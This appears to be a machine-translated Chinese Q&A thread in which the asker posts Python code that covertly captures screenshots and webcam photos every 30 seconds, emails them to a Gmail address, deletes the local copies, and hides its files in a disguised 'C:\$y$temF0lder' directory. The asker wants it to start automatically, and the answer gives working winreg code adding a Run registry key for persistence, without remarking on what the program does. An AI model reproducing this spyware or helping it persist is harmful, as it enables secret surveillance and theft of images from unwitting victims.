我编写了以下程序。我进行了设置。安装成功。现在,我希望程序在启动时启动,而无需手动将其快捷方式复制到启动文件夹,即 C:\ Users \ User \ AppData \ Roaming \ Microsoft \ Windows \ Start Menu \ Programs \ Startup 。
我希望我的程序像许多商业程序(如utorrent,Internet Downloader Manager等)一样在启动时自动运行。我该怎么办?
Python代码:
import os
import time
import string
import random
import shutil
import smtplib
import pyautogui
from SimpleCV import Image, Camera
from email.mime.text import MIMEText
from email.mime.image import MIMEImage
from email.mime.multipart import MIMEMultipart
def make_folder(): #Checking if $y$temF0lder exists in C drive
if os.path.exists('C:\\$y$temF0lder'):
pass
else:
os.mkdir('C:\\$y$temF0lder')
os.chdir('C:\\$y$temF0lder')
cam = Camera()
def send_mail(): #Sending captured picture in my email
msg = MIMEMultipart()
fromadd = 'fromadd@gmail.com'
toadd = 'toadd@gmail.com'
msg['From'] = fromadd
msg['To'] = toadd
msg['Subject'] = 'Photos'
text = MIMEText('Pic')
msg.attach(text)
screenshot_data = open(screenshot_name, 'rb').read()
webcam_data = open(webcam_name, 'rb').read()
send_image = MIMEImage(screenshot_data,
name=os.path.basename(screenshot_name))
send_images = MIMEImage(webcam_data, name=os.path.basename(webcam_name))
msg.attach(send_image)
msg.attach(send_images)
sessions = smtplib.SMTP('smtp.gmail.com', '587')
sessions.ehlo()
sessions.starttls()
sessions.ehlo()
sessions.login(fromadd, 'P@ssword')
sessions.sendmail(fromadd, toadd, msg.as_string())
sessions.quit()
def main():
global screenshot_name
global webcam_name
while True:
make_folder()
name = ''
for i in range(10): #Generating random name of 10 character long
x = random.randint(0,62)
name += string.printable[x]
screenshot_name = 'Screenshot ' + name + '.png'
webcam_name = 'Webcam ' + name + '.jpg'
screenshot = pyautogui.screenshot()
screenshot.save(screenshot_name)
web_pic = cam.getImage()
web_pic.save(webcam_name)
send_mail()
for file in os.listdir('C:\\$y$temF0lder'):
os.remove(file)
time.sleep(30)
shutil.rmtree('C:\\$y$temF0lder')
if __name__ == '__main__':
main()
答案 0 :(得分:0)
为避免将其添加到启动文件夹中,可以将文件放置在其他位置,并在当前用户的启动注册表文件夹中创建注册表项。为此,请利用winreg
模块。有据可查,使用起来很有趣!
winreg.CreateKeyEx(key, sub_key, reserved=0, access=KEY_WRITE)
winreg.SetValueEx(key, value_name, reserved, type, value)
winreg.Close()
import winreg
def create_key(name: str="default", path: ""=str)->bool:
# initialize key (create) or open
reg_key = winreg.CreateKeyEx(winreg.HKEY_CURRENT_USER, # path current user
r'Software\Microsoft\Windows\CurrentVersion\Run', # sub path startup
0, # reserved (must be zero, default is 0)
winreg.KEY_WRITE) # set permission to write
# CreateKey returns a handle
# if null it failed
if not reg_key:
return False
# set the value of created key
winreg.SetValueEx(reg_key, # key
name, # value name
0, # reserved (must be zero, default is 0)
winreg.REG_SZ, # REG_SZ - null-terminated string (for file path)
path) # set file path
# close key (think of it as opening a file)
reg_key.Close()
return True
if create_key("startup_batch", r"C:\Users\admin\Desktop\test.bat"):
print("Added startup key.")
else:
print("Failed to add startup key.")
编码为3.6.4
版。